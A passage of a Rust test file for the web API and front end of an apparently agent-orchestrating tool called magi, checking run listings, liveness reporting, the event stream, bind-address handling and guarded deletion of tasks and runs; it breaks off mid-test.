6728 "a loop that died must not read as running, or the operator has \
6729 nothing to press: {view}"
6730 );
6731 assert_eq!(view["owned"], false);
6732 assert!(
6733 view["last_error"]
6734 .as_str()
6735 .is_some_and(|e| e.contains("read-only file system")),
6736 "the phone is where a loop that died at 3am is visible: {view}"
6737 );
6738
6739 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6742 assert_eq!(again.status, 200, "{}", again.body);
6743 assert_eq!(
6744 again.json()["last_error"],
6745 Value::Null,
6746 "a fresh start does not keep showing why the last one died"
6747 );
6748 }
6749
6750 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
6762 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6763 let home = TempDir::new().expect("temp home");
6764 let runs = home.path().join("runs");
6765 std::fs::create_dir_all(&runs).expect("runs dir");
6766 let ui = Ui::new(
6767 Queue::at(home.path().join("queue")),
6768 Questions::at(home.path().join("questions")),
6769 Talks::at(home.path().join("talks")),
6770 runs,
6771 home.path().to_path_buf(),
6772 PathBuf::from("/repo/magi"),
6773 )
6774 .with_worktrees_root(home.path().join("wt"))
6775 .with_launch(launch_knocking_on_the_way_out);
6776 let looping = ui.looping();
6777 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6778 .await
6779 .expect("bind loopback");
6780 let addr = listener.local_addr().expect("local addr");
6781 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6782 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6783
6784 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6785 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6786
6787 let bound = std::sync::Mutex::new(None);
6802 hand_over(home.path(), &looping, served, || {
6803 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
6804 let attempt = loop {
6805 match std::net::TcpListener::bind(addr) {
6806 Ok(l) => {
6807 drop(l);
6808 break Ok(());
6809 }
6810 Err(e)
6811 if e.kind() == std::io::ErrorKind::AddrInUse
6812 && std::time::Instant::now() < deadline =>
6813 {
6814 std::thread::sleep(std::time::Duration::from_millis(10));
6815 }
6816 Err(e) => break Err(e.to_string()),
6817 }
6818 };
6819 *bound.lock().expect("bound") = Some(attempt);
6820 Ok(())
6821 })
6822 .await
6823 .expect("hand over");
6824
6825 assert_eq!(
6826 *PARK_HEARD.lock().expect("park heard"),
6827 Some(200),
6828 "the deck must answer while the loop is parking"
6829 );
6830 let attempt = bound
6831 .lock()
6832 .expect("bound")
6833 .take()
6834 .expect("the successor was started");
6835 assert!(
6836 attempt.is_ok(),
6837 "and the address must be free by the time it is: {attempt:?}"
6838 );
6839 }
6840
6841 #[tokio::test]
6842 async fn a_newer_daemon_status_file_still_renders() {
6843 let f = Fixture::start().await;
6844 std::fs::write(
6847 f.home.path().join("daemon.json"),
6848 serde_json::json!({
6849 "schema": 2,
6850 "updated_at": Timestamp::now().to_string(),
6851 "idle": true,
6852 "surprise": { "nested": [1, 2, 3] },
6853 })
6854 .to_string(),
6855 )
6856 .expect("write daemon.json");
6857
6858 let health = f.get("/api/health").await;
6859
6860 assert_eq!(health.status, 200);
6861 assert_eq!(health.json()["daemon"]["running"], true);
6862 }
6863
6864 #[tokio::test]
6865 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6866 let f = Fixture::start().await;
6867 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6868 let broken = f.runs().join("20260902-140502-bad");
6869 std::fs::create_dir_all(&broken).expect("run dir");
6870 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6871
6872 let list = f.get("/api/runs").await;
6873 let detail = f.get("/api/runs/20260902-140502-bad").await;
6874
6875 assert_eq!(list.status, 200);
6876 let listed = list.json();
6877 let ids: Vec<&str> = listed
6878 .as_array()
6879 .expect("an array")
6880 .iter()
6881 .map(|r| r["id"].as_str().expect("an id"))
6882 .collect();
6883 assert_eq!(
6884 ids,
6885 vec!["20260902-140501-good"],
6886 "one unreadable run must not cost the operator the whole history"
6887 );
6888 assert_eq!(detail.status, 500);
6889 assert!(
6890 detail.json()["error"]
6891 .as_str()
6892 .is_some_and(|e| e.contains("run.json")),
6893 "the failure names the file to look at: {}",
6894 detail.body
6895 );
6896 let health = f.get("/api/health").await;
6900 assert_eq!(health.json()["runs_unreadable"], 1);
6901 }
6902
6903 #[tokio::test]
6904 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6905 let f = Fixture::start().await;
6906 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6907
6908 let summary = f.get("/api/runs").await.json();
6909 let row = &summary[0];
6910 assert_eq!(row["short"], "a1b2");
6911 assert_eq!(row["status"], "ready");
6912 assert_eq!(row["done"], true);
6913 assert_eq!(row["title"], "Add a web UI");
6914 assert_eq!(row["repo_name"], "magi");
6915 assert_eq!(row["judges"], 3);
6916 assert_eq!(row["winner"], Value::Null);
6917 assert_eq!(row["reviews"], 0);
6918
6919 let detail = f.get("/api/runs/a1b2").await;
6922 assert_eq!(detail.status, 200);
6923 assert_eq!(detail.json()["base_branch"], "main");
6924 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6925 }
6926
6927 #[tokio::test]
6935 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6936 let f = Fixture::start().await;
6937
6938 let mut none_run = RunState::new(
6939 PathBuf::from("/repo/magi"),
6940 "main".to_owned(),
6941 "0123456789abcdef".to_owned(),
6942 "Add a web UI".to_owned(),
6943 Config::default(),
6944 );
6945 none_run.id = "20260902-140503-none".to_owned();
6946 none_run.status = RunStatus::Ready;
6947 none_run.merge = Some(crate::run::MergeOutcome {
6948 mode: crate::config::MergeMode::None,
6949 ok: true,
6950 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6951 });
6952 write_state(&f.runs(), &none_run);
6953
6954 let mut pr_run = RunState::new(
6955 PathBuf::from("/repo/magi"),
6956 "main".to_owned(),
6957 "0123456789abcdef".to_owned(),
6958 "Add a web UI".to_owned(),
6959 Config::default(),
6960 );
6961 pr_run.id = "20260902-140504-prcl".to_owned();
6962 pr_run.status = RunStatus::Ready;
6963 pr_run.merge = Some(crate::run::MergeOutcome {
6964 mode: crate::config::MergeMode::Pr,
6965 ok: false,
6966 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6967 });
6968 write_state(&f.runs(), &pr_run);
6969
6970 let summary = f.get("/api/runs").await.json();
6971 let rows: std::collections::HashMap<&str, &Value> = summary
6972 .as_array()
6973 .expect("an array")
6974 .iter()
6975 .map(|r| (r["id"].as_str().expect("an id"), r))
6976 .collect();
6977 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6978 assert_eq!(
6979 rows[none_run.id.as_str()]["unmerged_by_design"],
6980 true,
6981 "a mode-none Ready must be flagged in the list"
6982 );
6983 assert_eq!(
6984 rows[pr_run.id.as_str()]["unmerged_by_design"],
6985 false,
6986 "a Ready reached by a closed pull request is a different case"
6987 );
6988
6989 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6990 assert_eq!(none_detail["status"], "ready");
6991 assert_eq!(none_detail["unmerged_by_design"], true);
6992
6993 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6994 assert_eq!(pr_detail["unmerged_by_design"], false);
6995 }
6996
6997 #[tokio::test]
7002 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7003 let f = Fixture::start().await;
7004 let id = "20260902-140502-bbbb";
7008 let mut state = RunState::new(
7009 PathBuf::from("/repo/magi"),
7010 "main".to_owned(),
7011 "0123456789abcdef".to_owned(),
7012 "Add a web UI".to_owned(),
7013 Config::default(),
7014 );
7015 state.id = id.to_owned();
7016 state.status = RunStatus::Judging;
7017 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7018 let dir = f.runs().join(id);
7019 std::fs::create_dir_all(&dir).expect("run dir");
7020 std::fs::write(
7021 dir.join("run.json"),
7022 serde_json::to_string_pretty(&state).expect("serialize run"),
7023 )
7024 .expect("write run.json");
7025
7026 let cold = f.get(&format!("/api/runs/{id}")).await.json();
7032 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7033 assert_eq!(cold["live"], "unknown", "{cold}");
7034
7035 write_daemon(f.home.path(), Timestamp::now());
7038 let warm = f.get(&format!("/api/runs/{id}")).await.json();
7039 assert_eq!(warm["live"], "live", "{warm}");
7040 }
7041
7042 #[tokio::test]
7049 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7050 let f = Fixture::start().await;
7051 let id = "20260922-090000-cccc";
7052 let mut state = RunState::new(
7053 PathBuf::from("/repo/magi"),
7054 "main".to_owned(),
7055 "0123456789abcdef".to_owned(),
7056 "Review only".to_owned(),
7057 Config::default(),
7058 );
7059 state.id = id.to_owned();
7060 state.status = RunStatus::Reviewing;
7061 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7062 state.driver_pid = Some(std::process::id());
7068 state.driver_started_at = Some(
7069 crate::proc::process_started_at(std::process::id())
7070 .expect("this test process's own start time must be queryable"),
7071 );
7072 let dir = f.runs().join(id);
7073 std::fs::create_dir_all(&dir).expect("run dir");
7074 std::fs::write(
7075 dir.join("run.json"),
7076 serde_json::to_string_pretty(&state).expect("serialize run"),
7077 )
7078 .expect("write run.json");
7079
7080 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7081 assert_eq!(detail["live"], "live", "{detail}");
7082 }
7083
7084 #[tokio::test]
7090 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7091 let f = Fixture::start().await;
7092 let id = "20260922-090100-dddd";
7093 let mut state = RunState::new(
7094 PathBuf::from("/repo/magi"),
7095 "main".to_owned(),
7096 "0123456789abcdef".to_owned(),
7097 "Review only".to_owned(),
7098 Config::default(),
7099 );
7100 state.id = id.to_owned();
7101 state.status = RunStatus::Reviewing;
7102 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7103 state.driver_pid = Some(std::process::id());
7108 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7109 let dir = f.runs().join(id);
7110 std::fs::create_dir_all(&dir).expect("run dir");
7111 std::fs::write(
7112 dir.join("run.json"),
7113 serde_json::to_string_pretty(&state).expect("serialize run"),
7114 )
7115 .expect("write run.json");
7116
7117 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7118 assert_eq!(detail["live"], "dead", "{detail}");
7119 }
7120
7121 #[test]
7125 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7126 let mut state = RunState::new(
7127 PathBuf::from("/repo/magi"),
7128 "main".to_owned(),
7129 "0123456789abcdef".to_owned(),
7130 "Review only".to_owned(),
7131 Config::default(),
7132 );
7133 state.id = "20260922-090200-dead".to_owned();
7134 state.status = RunStatus::Reviewing;
7135 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7136 .expect("serialize list row");
7137 assert_eq!(row["status"], "reviewing");
7138 assert_eq!(row["live"], "dead", "{row}");
7139 assert!(!row["done"].as_bool().unwrap());
7140 }
7141
7142 #[tokio::test]
7143 async fn the_run_list_is_newest_first_and_honours_a_limit() {
7144 let f = Fixture::start().await;
7145 for id in [
7146 "20260902-140501-aaaa",
7147 "20260902-140502-bbbb",
7148 "20260902-140503-cccc",
7149 ] {
7150 write_run(&f.runs(), id, RunStatus::Merged);
7151 }
7152
7153 let all = f.get("/api/runs").await.json();
7154 let capped = f.get("/api/runs?limit=2").await.json();
7155
7156 assert_eq!(all[0]["id"], "20260902-140503-cccc");
7157 assert_eq!(all.as_array().map(Vec::len), Some(3));
7158 assert_eq!(capped.as_array().map(Vec::len), Some(2));
7159 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7160 }
7161
7162 #[tokio::test]
7163 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7164 let f = Fixture::start().await;
7165 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7166
7167 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7168
7169 assert_eq!(res.status, 200);
7170 assert!(
7171 res.headers
7172 .contains("content-type: text/plain; charset=utf-8"),
7173 "a browser must render it, not download it: {}",
7174 res.headers
7175 );
7176 assert!(
7180 res.body.contains("20260902-140501-a1b2"),
7181 "the report is about the run that was asked for: {}",
7182 res.body
7183 );
7184 }
7185
7186 #[tokio::test]
7187 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7188 let f = Fixture::start().await;
7189
7190 let html = f.get("/").await;
7191 let css = f.get("/app.css").await;
7192 let js = f.get("/app.js").await;
7193
7194 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7195 assert!(
7196 html.headers
7197 .contains("content-type: text/html; charset=utf-8")
7198 );
7199 assert!(css.headers.contains("content-type: text/css"));
7200 assert!(js.headers.contains("content-type: text/javascript"));
7201 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7202 }
7203
7204 #[test]
7205 fn review_rounds_label_a_distinct_verified_head() {
7206 assert!(APP_JS.contains("round.verified_head"));
7207 assert!(APP_JS.contains("verified HEAD"));
7208 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7209 }
7210
7211 #[test]
7212 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7213 assert!(APP_JS.contains("blocked: { glyph:"));
7217 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7218
7219 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7223 assert!(
7224 APP_JS.contains(
7225 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7226 ),
7227 "the note line must name what a blocked task is waiting on, not just that it is blocked"
7228 );
7229 assert!(APP_JS.contains("if (status === \"blocked\") {"));
7233
7234 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7238 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7239 assert!(
7240 APP_JS.contains("location.hash = \"#/questions\";"),
7241 "a question node must jump to the Questions screen, not pretend to be a task"
7242 );
7243
7244 assert!(APP_JS.contains("Resolved questions"));
7247 assert!(APP_JS.contains("r.answersList.append("));
7248 assert!(APP_CSS.contains(".task-answers"));
7249 }
7250
7251 #[test]
7252 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7253 assert!(
7254 APP_JS.contains("round.verified_head !== round.head"),
7255 "a round that verified an earlier commit must be visibly distinct from one that \
7256 verified the head reviewers are looking at now"
7257 );
7258 assert!(
7259 APP_JS.contains("round.verified_at"),
7260 "when a check ran must be on the wire, not just which commit"
7261 );
7262 assert!(
7263 APP_JS.contains("resource_blocked"),
7264 "a command magi never got to run (shared build cache contention) must not render \
7265 the same as a command that ran and failed"
7266 );
7267 }
7268
7269 #[tokio::test]
7270 async fn the_change_stream_announces_the_current_revisions_on_connect() {
7271 let f = Fixture::start().await;
7272
7273 let mut socket = tokio::net::TcpStream::connect(f.addr)
7274 .await
7275 .expect("connect");
7276 socket
7277 .write_all(
7278 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7279 )
7280 .await
7281 .expect("write request");
7282
7283 let mut seen = String::new();
7286 let mut buf = [0u8; 1024];
7287 while !seen.contains("event: change") {
7288 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7289 .await
7290 .expect("the stream must speak within five seconds")
7291 .expect("read");
7292 assert!(read > 0, "the server closed the change stream: {seen}");
7293 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7294 }
7295
7296 assert!(
7297 seen.to_lowercase()
7298 .contains("content-type: text/event-stream"),
7299 "the browser only reconnects automatically for a real SSE stream: {seen}"
7300 );
7301 let data = seen
7302 .lines()
7303 .find_map(|l| l.strip_prefix("data:"))
7304 .expect("a data line");
7305 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7306 assert!(
7307 payload["queue_rev"].is_u64()
7308 && payload["runs_rev"].is_u64()
7309 && payload["questions_rev"].is_u64()
7310 && payload["talks_rev"].is_u64()
7311 && payload["loop_rev"].is_u64(),
7312 "the client needs one revision per store to know what to refetch, \
7313 and `talks_rev` is the only notification a standing talk gets - a \
7314 phone whose radio slept through a turn learns about it here, as \
7315 does one whose operator started the loop from another device: \
7316 {payload}"
7317 );
7318
7319 let health = f.get("/api/health").await.json();
7326 for key in [
7327 "queue_rev",
7328 "runs_rev",
7329 "questions_rev",
7330 "talks_rev",
7331 "loop_rev",
7332 ] {
7333 assert!(
7334 health[key].is_u64(),
7335 "health is the change stream's fallback and is missing `{key}`: {health}"
7336 );
7337 }
7338 }
7339
7340 #[tokio::test]
7341 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7342 let f = Fixture::start().await;
7343 let before = f.get("/api/health").await.json()["talks_rev"]
7344 .as_u64()
7345 .expect("talks_rev");
7346
7347 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7348 std::thread::sleep(Duration::from_millis(10));
7349 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7350 on_disk.turns.push(crate::talk::Turn {
7351 who: crate::talk::Who::Operator,
7352 body: "a new turn".to_owned(),
7353 at: Timestamp::now(),
7354 attachments: Vec::new(),
7355 });
7356 f.talks().put(&mut on_disk).expect("record a turn");
7357
7358 let after = f.get("/api/health").await.json()["talks_rev"]
7359 .as_u64()
7360 .expect("talks_rev");
7361 assert_ne!(
7362 before, after,
7363 "a phone must be able to notice a talk's reply without polling every store"
7364 );
7365 }
7366
7367 #[test]
7368 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7369 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7373 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7374 }
7375 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7376 assert!("everywhere".parse::<Bind>().is_err());
7377 }
7378
7379 #[test]
7380 fn an_explicit_bind_address_is_taken_verbatim() {
7381 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7382
7383 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7384
7385 assert_eq!(addr, asked);
7386 assert!(
7387 warning.is_none(),
7388 "an operator who named an address gets no lecture"
7389 );
7390 }
7391
7392 #[test]
7393 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7394 let (addr, warning) = resolve_bind(&Bind::Auto);
7395
7396 match addr {
7403 IpAddr::V4(ip) if is_tailnet(&ip) => {
7404 assert!(warning.is_none(), "a tailnet address needs no warning");
7405 }
7406 other => {
7407 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7408 let warning = warning.expect("a fallback has to explain itself");
7409 assert!(
7410 warning.contains("127.0.0.1") && warning.contains("local-only"),
7411 "the warning says what happened and what it costs: {warning}"
7412 );
7413 }
7414 }
7415 }
7416
7417 #[test]
7418 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7419 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7423 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7424 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7425 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7426 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7427 }
7428
7429 #[test]
7430 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7431 let ids = vec![
7432 "20260902-140501-aaaa".to_owned(),
7433 "20260902-140502-aabb".to_owned(),
7434 ];
7435
7436 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7437 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7438 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7439
7440 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7441 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7442 assert_eq!(short, "20260902-140502-aabb");
7443 }
7444 #[tokio::test]
7445 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7446 let fx = Fixture::start().await;
7452 let id = panel(
7453 &fx,
7454 "<img src=\"shot.png\">",
7455 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7456 );
7457
7458 let doc = fx
7460 .get(&format!("/api/questions/{id}/panel/index.html"))
7461 .await;
7462 assert_eq!(doc.status, 200, "{}", doc.body);
7463 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7464
7465 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7466 assert_eq!(sibling.status, 200, "{}", sibling.body);
7467 assert_eq!(sibling.header("content-type"), Some("image/png"));
7468 assert_eq!(
7469 sibling.header("content-security-policy"),
7470 Some(PANEL_CSP),
7471 "the sibling route must carry the same policy as the asset route"
7472 );
7473
7474 assert_eq!(
7477 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7478 200
7479 );
7480 }
7481
7482 #[test]
7483 fn runs_revision_moves_when_deleting_an_older_run() {
7484 let temp = TempDir::new().expect("tempdir");
7485 let runs = temp.path().join("runs");
7486 std::fs::create_dir_all(&runs).expect("create runs dir");
7487
7488 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7489
7490 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7491 std::thread::sleep(Duration::from_millis(10));
7492 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7493
7494 let rev_before = runs_revision(&runs);
7495 assert!(rev_before > 0);
7496
7497 let old_dir = runs.join("20260901-100000-old1");
7498 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7499
7500 let rev_after = runs_revision(&runs);
7501 assert_ne!(
7502 rev_before, rev_after,
7503 "deleting an older run must change the revision so other clients see the deletion"
7504 );
7505 }
7506
7507 fn write_state(runs: &FsPath, state: &RunState) {
7512 let dir = runs.join(&state.id);
7513 std::fs::create_dir_all(&dir).expect("run dir");
7514 std::fs::write(
7515 dir.join("run.json"),
7516 serde_json::to_string_pretty(state).expect("serialize run"),
7517 )
7518 .expect("write run.json");
7519 }
7520
7521 #[test]
7526 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7527 let temp = TempDir::new().expect("tempdir");
7528 let runs = temp.path().join("runs");
7529 std::fs::create_dir_all(&runs).expect("create runs dir");
7530 let mut state = RunState::new(
7531 PathBuf::from("/repo/magi"),
7532 "main".to_owned(),
7533 "0123456789abcdef".to_owned(),
7534 "task".to_owned(),
7535 Config::default(),
7536 );
7537 state.id = "20260902-100000-c0de".to_owned();
7538 write_state(&runs, &state);
7539
7540 let rev_idle = runs_revision(&runs);
7541 std::thread::sleep(Duration::from_millis(10));
7542 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7543 write_state(&runs, &state);
7544 let rev_started = runs_revision(&runs);
7545 assert_ne!(
7546 rev_idle, rev_started,
7547 "a seat starting must move the revision"
7548 );
7549
7550 std::thread::sleep(Duration::from_millis(10));
7551 state.seat_finished("judge-1");
7552 write_state(&runs, &state);
7553 let rev_finished = runs_revision(&runs);
7554 assert_ne!(
7555 rev_started, rev_finished,
7556 "and clearing it again must move the revision a second time"
7557 );
7558 }
7559
7560 #[tokio::test]
7561 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7562 let fx = Fixture::start().await;
7567 let q = fx.queue();
7568
7569 let mut t = Task::new(
7570 "Task".to_owned(),
7571 "Instruction".to_owned(),
7572 PathBuf::from("/repo"),
7573 Source::Human,
7574 );
7575 t.block(
7576 vec!["20260101-000000-dead".to_owned()],
7577 Some("waiting on Task 1".to_owned()),
7578 );
7579 t.answers.push(crate::queue::AnsweredQuestion {
7580 question: "Which backend?".to_owned(),
7581 answer: "SQLite".to_owned(),
7582 });
7583 q.put(&mut t).expect("put t");
7584
7585 let res = fx.get("/api/queue").await;
7586 assert_eq!(res.status, 200);
7587 let list = res.json();
7588 let view = list
7589 .as_array()
7590 .expect("array")
7591 .iter()
7592 .find(|v| v["id"] == t.id)
7593 .expect("task in list");
7594 assert_eq!(view["status_str"], "blocked");
7595 assert_eq!(
7596 view["blocked_by"],
7597 serde_json::json!(["20260101-000000-dead"])
7598 );
7599 assert_eq!(view["block_reason"], "waiting on Task 1");
7600 assert_eq!(view["answers"][0]["question"], "Which backend?");
7601 assert_eq!(view["answers"][0]["answer"], "SQLite");
7602
7603 let res = fx
7607 .post(&format!("/api/queue/{}/hold", t.short()), None)
7608 .await;
7609 assert_eq!(res.status, 200);
7610 let held = res.json();
7611 assert_eq!(held["status_str"], "held");
7612 assert_eq!(held["blocked_by"], serde_json::json!([]));
7613 assert!(held["block_reason"].is_null());
7614 assert_eq!(held["answers"][0]["answer"], "SQLite");
7615 }
7616
7617 #[tokio::test]
7618 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7619 let fx = Fixture::start().await;
7620 let q = fx.queue();
7621
7622 let mut t1 = Task::new(
7624 "Task 1".to_owned(),
7625 "Instruction 1".to_owned(),
7626 PathBuf::from("/repo"),
7627 Source::Human,
7628 );
7629 let run_id = "20260901-000000-r111";
7630 t1.runs.push(run_id.to_owned());
7631 write_run(&fx.runs(), run_id, RunStatus::Merged);
7632 q.put(&mut t1).expect("put t1");
7633
7634 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7636 assert_eq!(res.status, 204);
7637 assert!(res.body.is_empty(), "204 No Content has no body");
7638 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7639 assert!(
7640 fx.runs().join(run_id).exists(),
7641 "run directory must not be deleted when its task is deleted"
7642 );
7643
7644 let mut t2 = Task::new(
7646 "Task 2".to_owned(),
7647 "Instruction 2".to_owned(),
7648 PathBuf::from("/repo"),
7649 Source::Human,
7650 );
7651 t2.status = TaskStatus::Running;
7652 q.put(&mut t2).expect("put t2");
7653 let mut beat = crate::daemon::Status::new();
7654 beat.current = vec![crate::daemon::Current {
7655 task: t2.id.clone(),
7656 run: "20260901-000000-r222".to_owned(),
7657 }];
7658 beat.updated_at = jiff::Timestamp::now();
7659 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7660 .expect("publish a heartbeat");
7661 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7662 assert_eq!(res.status, 409);
7663 assert!(
7664 res.json()["error"]
7665 .as_str()
7666 .unwrap()
7667 .contains("live daemon")
7668 );
7669 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7670
7671 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7677 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7678 .expect("leave a stale heartbeat");
7679 let mut t3 = Task::new(
7680 "Task 3".to_owned(),
7681 "Instruction 3".to_owned(),
7682 PathBuf::from("/repo"),
7683 Source::Human,
7684 );
7685 t3.status = TaskStatus::Running;
7686 q.put(&mut t3).expect("put t3");
7687 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7688 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7689 assert_eq!(res.status, 204);
7690 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7691 assert!(
7692 q.claim(&t3.id).is_ok(),
7693 "the stale lock went with it, so the id is claimable again"
7694 );
7695
7696 let res = fx.delete("/api/queue/nonexistent").await;
7698 assert_eq!(res.status, 404);
7699 }
7700
7701 #[tokio::test]
7702 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7703 let fx = Fixture::start().await;
7704 let runs = fx.runs();
7705
7706 let run_id = "20260901-000000-fold";
7708 let mut state = RunState::new(
7709 PathBuf::from("/repo"),
7710 "main".to_owned(),
7711 "abc".to_owned(),
7712 "instruction".to_owned(),
7713 Config::default(),
7714 );
7715 state.id = run_id.to_owned();
7716 state.status = RunStatus::Merged;
7717 state.candidates.push(crate::run::Candidate {
7718 index: 0,
7719 label: 'A',
7720 agent: "a".to_owned(),
7721 branch: "b".to_owned(),
7722 worktree: PathBuf::from("/w"),
7723 summary: String::new(),
7724 stat: String::new(),
7725 files: 1,
7726 commits: 1,
7727 empty: false,
7728 failed: None,
7729 verified_noop: None,
7730 duration_ms: 0,
7731 folded: true,
7732 });
7733 let dir = runs.join(run_id);
7734 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7735 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7736 .expect("write artifact");
7737 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7738 .expect("write run.json");
7739
7740 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7742 assert_eq!(res.status, 204);
7743 assert!(res.body.is_empty(), "204 has no body");
7744 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7745
7746 let run_running = "20260901-000000-rung";
7751 write_run(&runs, run_running, RunStatus::Prep);
7752 let mut beat = crate::daemon::Status::new();
7753 beat.current = vec![crate::daemon::Current {
7754 task: "20260901-000000-task".to_owned(),
7755 run: run_running.to_owned(),
7756 }];
7757 beat.updated_at = jiff::Timestamp::now();
7758 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7759 .expect("publish a heartbeat");
7760 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7761 assert_eq!(res.status, 409);
7762 assert!(
7763 res.json()["error"]
7764 .as_str()
7765 .unwrap()
7766 .contains("live daemon"),
7767 "the refusal must say who is holding it"
7768 );
7769 assert!(
7770 runs.join(run_running).exists(),
7771 "a run in flight keeps its directory"
7772 );
7773
7774 let run_unfolded = "20260901-000000-unfd";
7776 let mut state2 = RunState::new(
7777 PathBuf::from("/repo"),
